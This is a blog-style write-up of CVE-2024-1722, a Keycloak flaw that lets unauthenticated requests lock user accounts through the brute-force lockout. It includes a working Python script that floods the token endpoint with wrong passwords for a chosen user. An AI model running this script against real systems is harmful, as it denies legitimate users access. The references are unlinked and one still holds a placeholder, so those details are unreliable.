Keycloak is a popular open-source authentication and identity management system from Red Hat. It’s used by startups and big companies alike for single sign-on (SSO) and user federation. But just like any software, it’s not immune to flaws. One recent issue—CVE-2024-1722—highlights how a well-placed bug can have outsized consequences. In this post, we’ll break down what the problem is, demonstrate how it works, and show real-world exploit details with simple code. If you administrate Keycloak, read on.

What Is CVE-2024-1722?

On January 15, 2024, Keycloak maintainers published this advisory describing a vulnerability where, under certain settings, a remote attacker can prevent legitimate users from logging in.

The Flaw

Keycloak, during login, offers protections against brute force by locking accounts after several failed attempts. The configuration can be tweaked for how many failed attempts trigger a lockout. However, due to the flaw, attackers don’t have to authenticate themselves. They can repeatedly send failed login attempts for any user, and rack up the failed count, causing that user’s account to lock.

There’s no rate limit or anti-automation here for this sequence. So, someone can build a script to hammer accounts all day, blocking user after user.

Example Exploit Code

Below is a simple Python PoC. It sends failed login attempts for a target username. Adjust the URL and credentials as needed.

import requests

KEYCLOAK_URL = "https://your-keycloak-domain/auth/realms/yourrealm/protocol/openid-connect/token";
TARGET_USER = "victimuser@example.com"
ATTEMPTS_TO_LOCK = 5  # Or whatever threshold is set

FAILED_PASSWORD = "wrongpassword"

for i in range(ATTEMPTS_TO_LOCK + 1):
    data = {
        'client_id': 'account',
        'username': TARGET_USER,
        'password': FAILED_PASSWORD,
        'grant_type': 'password'
    }

    response = requests.post(KEYCLOAK_URL, data=data)
    print(f"Attempt {i+1}: {response.status_code} {response.text}")

print("Done. The account is likely locked out (check admin console).")

You can copy and run this with real values on your test realm. If the Keycloak admin page shows your target user as “Temporarily Locked,” the attack worked.

Original References

- NVD Advisory
- Keycloak Security Advisory
- Keycloak Issue Tracker *(replace XYZ with relevant issue if public)*

How to Fix

Red Hat and Keycloak suggest upgrading to the latest version where this specific bug is fixed. You’ll find secured versions and changelogs in their repositories.

Conclusion

CVE-2024-1722 shows how even "defensive" features can be twisted. A simple brute-force lockout, poorly protected, becomes a denial-of-service tool. If you use Keycloak, patch your systems and monitor login failures—don't let a remote attacker lock your users out.


If you found this post helpful, check the references above and share with your IT and security teams.

Timeline

Published on: 02/29/2024 01:43:54 UTC
Last modified on: 02/29/2024 13:49:29 UTC